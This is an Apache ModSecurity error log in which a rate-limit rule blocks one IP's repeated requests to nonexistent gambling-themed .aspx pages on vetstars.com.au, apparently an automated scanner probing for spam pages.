[Sat Feb 14 19:43:46.075880 2026] [:error] [pid 8274:tid 8302] [client 146.59.46.29:49602] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZBf8rUW6xok4sn7YUnDkQAAAVY"]
[Sat Feb 14 19:43:46.237243 2026] [:error] [pid 26209:tid 26277] [client 146.59.46.29:49580] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZBf8mexYDXnloPeXAV4lgAAAok"]
[Sat Feb 14 19:43:48.860700 2026] [:error] [pid 36056:tid 36073] [client 146.59.46.29:60730] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZBf9Lv3wQbSPS1vpOgSqgAAAA8"]
[Sat Feb 14 19:43:49.174208 2026] [:error] [pid 26209:tid 26276] [client 146.59.46.29:60700] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZBf9WexYDXnloPeXAV4nAAAAog"]
[Sat Feb 14 19:43:49.600948 2026] [:error] [pid 36056:tid 36072] [client 146.59.46.29:60742] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZBf9bv3wQbSPS1vpOgSqwAAAA4"]
[Sat Feb 14 19:43:50.438589 2026] [:error] [pid 36219:tid 36259] [client 146.59.46.29:60754] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZBf9pe-m2OpEy0FNjhNcgAAA4s"]
[Sat Feb 14 19:43:52.197726 2026] [:error] [pid 56720:tid 56786] [client 146.59.46.29:60790] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZBf-Hjg3vzUoXJ19eAa1AAAA8k"]
[Sat Feb 14 19:43:53.503831 2026] [:error] [pid 36056:tid 36065] [client 146.59.46.29:60824] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZBf-bv3wQbSPS1vpOgSrgAAAAc"]
[Sat Feb 14 19:43:53.516514 2026] [:error] [pid 35135:tid 35162] [client 146.59.46.29:60804] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZBf-YkSccJZYMDP04w9-AAAARg"]
[Sat Feb 14 19:43:54.068106 2026] [:error] [pid 35135:tid 35153] [client 146.59.46.29:60836] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZBf-okSccJZYMDP04w9-wAAAQ8"]
[Sat Feb 14 19:43:54.586049 2026] [:error] [pid 36219:tid 36272] [client 146.59.46.29:60872] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZBf-pe-m2OpEy0FNjhNdgAAA5g"]
[Sat Feb 14 19:43:56.822229 2026] [:error] [pid 35135:tid 35156] [client 146.59.46.29:60898] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZBf_IkSccJZYMDP04w-AAAAARI"]
[Sat Feb 14 19:43:56.834418 2026] [:error] [pid 35135:tid 35152] [client 146.59.46.29:60914] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZBf_IkSccJZYMDP04w-AgAAAQ4"]
[Sat Feb 14 19:43:57.467708 2026] [:error] [pid 35135:tid 35148] [client 146.59.46.29:60944] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZBf_YkSccJZYMDP04w-BwAAAQo"]
[Sat Feb 14 19:43:59.798504 2026] [:error] [pid 50339:tid 50378] [client 146.59.46.29:36842] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZBf_8I6TclQ9GOl2Y1ohgAAAgg"]
[Sat Feb 14 19:43:59.940150 2026] [:error] [pid 36056:tid 36068] [client 146.59.46.29:36860] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZBf_7v3wQbSPS1vpOgSugAAAAo"]
[Sat Feb 14 19:43:59.999237 2026] [:error] [pid 63327:tid 63378] [client 146.59.46.29:36864] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZBf_y9btvSz88ToHa_e0AAAAZY"]
[Sat Feb 14 19:44:00.406624 2026] [:error] [pid 36056:tid 36073] [client 146.59.46.29:36866] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZBgALv3wQbSPS1vpOgSuwAAAA8"]
[Sat Feb 14 19:44:03.066480 2026] [:error] [pid 35135:tid 35157] [client 146.59.46.29:36960] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZBgA4kSccJZYMDP04w-EAAAARM"]
[Sat Feb 14 19:44:03.604834 2026] [:error] [pid 8274:tid 8292] [client 146.59.46.29:36934] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZBgA7UW6xok4sn7YUnDnwAAAUw"]
[Sat Feb 14 19:44:17.274201 2026] [:error] [pid 26150:tid 26156] [client 146.59.46.29:37014] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZBgEaqmPH3D5QJaUSHE3AAAAII"]
[Sat Feb 14 19:44:18.415303 2026] [:error] [pid 35135:tid 35141] [client 146.59.46.29:36996] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZBgEokSccJZYMDP04w-IAAAAQM"]
[Sat Feb 14 19:44:20.817812 2026] [:error] [pid 26150:tid 26170] [client 146.59.46.29:59208] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZBgFKqmPH3D5QJaUSHE3gAAAJA"]
[Sat Feb 14 19:44:22.337872 2026] [:error] [pid 56720:tid 56799] [client 146.59.46.29:59218] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZBgFnjg3vzUoXJ19eAa4gAAA9Y"]
[Sat Feb 14 19:44:23.990479 2026] [:error] [pid 50339:tid 50371] [client 146.59.46.29:59236] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZBgF8I6TclQ9GOl2Y1omwAAAgE"]
[Sat Feb 14 19:44:25.989305 2026] [:error] [pid 36056:tid 36064] [client 146.59.46.29:59282] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZBgGbv3wQbSPS1vpOgS0QAAAAY"]
[Sat Feb 14 19:44:29.379882 2026] [:error] [pid 26151:tid 26199] [client 146.59.46.29:54676] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZBgHZyTBacUV3MCh6kmYgAAANI"]
[Sat Feb 14 19:44:33.250709 2026] [:error] [pid 56720:tid 56782] [client 146.59.46.29:54718] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZBgIXjg3vzUoXJ19eAa7wAAA8U"]
[Sat Feb 14 19:44:38.142277 2026] [:error] [pid 56720:tid 56783] [client 146.59.46.29:54778] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZBgJnjg3vzUoXJ19eAa9wAAA8Y"]
[Sat Feb 14 19:44:41.332752 2026] [:error] [pid 36056:tid 36074] [client 146.59.46.29:41796] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZBgKbv3wQbSPS1vpOgS3QAAABA"]
[Sat Feb 14 19:44:44.518434 2026] [:error] [pid 26209:tid 26273] [client 146.59.46.29:41846] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZBgLGexYDXnloPeXAV4wQAAAoU"]
[Sat Feb 14 19:44:50.356478 2026] [:error] [pid 8274:tid 8300] [client 146.59.46.29:55796] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZBgMrUW6xok4sn7YUnDzQAAAVQ"]
[Sat Feb 14 19:44:55.417918 2026] [:error] [pid 63327:tid 63372] [client 146.59.46.29:55886] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZBgNy9btvSz88ToHa_e-wAAAZA"]
[Sat Feb 14 19:44:58.871955 2026] [:error] [pid 36219:tid 36262] [client 146.59.46.29:40100] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZBgOpe-m2OpEy0FNjhNnwAAA44"]
[Sat Feb 14 19:45:02.035512 2026] [:error] [pid 56720:tid 56785] [client 146.59.46.29:40162] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZBgPnjg3vzUoXJ19eAbBAAAA8g"]
[Sat Feb 14 19:45:05.824565 2026] [:error] [pid 26151:tid 26184] [client 146.59.46.29:40210] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZBgQZyTBacUV3MCh6kmegAAAMM"]
[Sat Feb 14 19:45:09.200232 2026] [:error] [pid 26209:tid 26279] [client 146.59.46.29:58832] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZBgRWexYDXnloPeXAV43wAAAos"]
[Sat Feb 14 19:45:12.896992 2026] [:error] [pid 8274:tid 8300] [client 146.59.46.29:58874] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZBgSLUW6xok4sn7YUnD5gAAAVQ"]
[Sat Feb 14 19:48:55.208478 2026] [:error] [pid 36219:tid 36272] [client 146.59.46.29:46110] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZBhJ5e-m2OpEy0FNjhOfgAAA5g"]
[Sat Feb 14 19:48:59.236465 2026] [:error] [pid 50339:tid 50370] [client 146.59.46.29:45094] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZBhK8I6TclQ9GOl2Y1piQAAAgA"]
[Sat Feb 14 19:49:02.710511 2026] [:error] [pid 26150:tid 26161] [client 146.59.46.29:44304] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZBhLqqmPH3D5QJaUSHFpwAAAIc"]
[Sat Feb 14 19:49:06.107449 2026] [:error] [pid 35135:tid 35159] [client 146.59.46.29:44316] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZBhMokSccJZYMDP04w_dwAAARU"]
[Sat Feb 14 19:49:08.819664 2026] [:error] [pid 26150:tid 26158] [client 146.59.46.29:53150] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZBhNKqmPH3D5QJaUSHFqgAAAIQ"]
[Sat Feb 14 19:49:11.316907 2026] [:error] [pid 56720:tid 56793] [client 146.59.46.29:53170] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZBhN3jg3vzUoXJ19eAcTwAAA9A"]
[Sat Feb 14 19:49:14.675891 2026] [:error] [pid 26150:tid 26176] [client 146.59.46.29:53188] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZBhOqqmPH3D5QJaUSHFsgAAAJY"]
[Sat Feb 14 19:49:20.256691 2026] [:error] [pid 63327:tid 63368] [client 146.59.46.29:35406] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZBhQC9btvSz88ToHa_fywAAAYw"]
[Sat Feb 14 19:49:23.397715 2026] [:error] [pid 35135:tid 35142] [client 146.59.46.29:35426] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZBhQ4kSccJZYMDP04w_jAAAAQQ"]
[Sat Feb 14 19:49:26.973570 2026] [:error] [pid 26151:tid 26184] [client 146.59.46.29:35450] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZBhRpyTBacUV3MCh6knNQAAAMM"]
[Sat Feb 14 19:49:30.944302 2026] [:error] [pid 35135:tid 35154] [client 146.59.46.29:50740] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZBhSokSccJZYMDP04w_nAAAARA"]
[Sat Feb 14 19:49:34.045477 2026] [:error] [pid 36219:tid 36250] [client 146.59.46.29:50756] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZBhTpe-m2OpEy0FNjhOlgAAA4I"]
[Sat Feb 14 19:49:39.433933 2026] [:error] [pid 26209:tid 26269] [client 146.59.46.29:39822] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZBhU2exYDXnloPeXAV5fAAAAoE"]
[Sat Feb 14 19:49:43.070322 2026] [:error] [pid 26209:tid 26292] [client 146.59.46.29:39838] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZBhV2exYDXnloPeXAV5fwAAApg"]
[Sat Feb 14 19:49:46.458262 2026] [:error] [pid 36056:tid 36073] [client 146.59.46.29:39858] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZBhWrv3wQbSPS1vpOgT8QAAAA8"]
[Sat Feb 14 19:49:49.421986 2026] [:error] [pid 8274:tid 8303] [client 146.59.46.29:60590] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZBhXbUW6xok4sn7YUnFAgAAAVc"]
[Sat Feb 14 19:51:18.056582 2026] [:error] [pid 26151:tid 26194] [client 146.59.46.29:36260] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZBhtpyTBacUV3MCh6knZQAAAM0"]
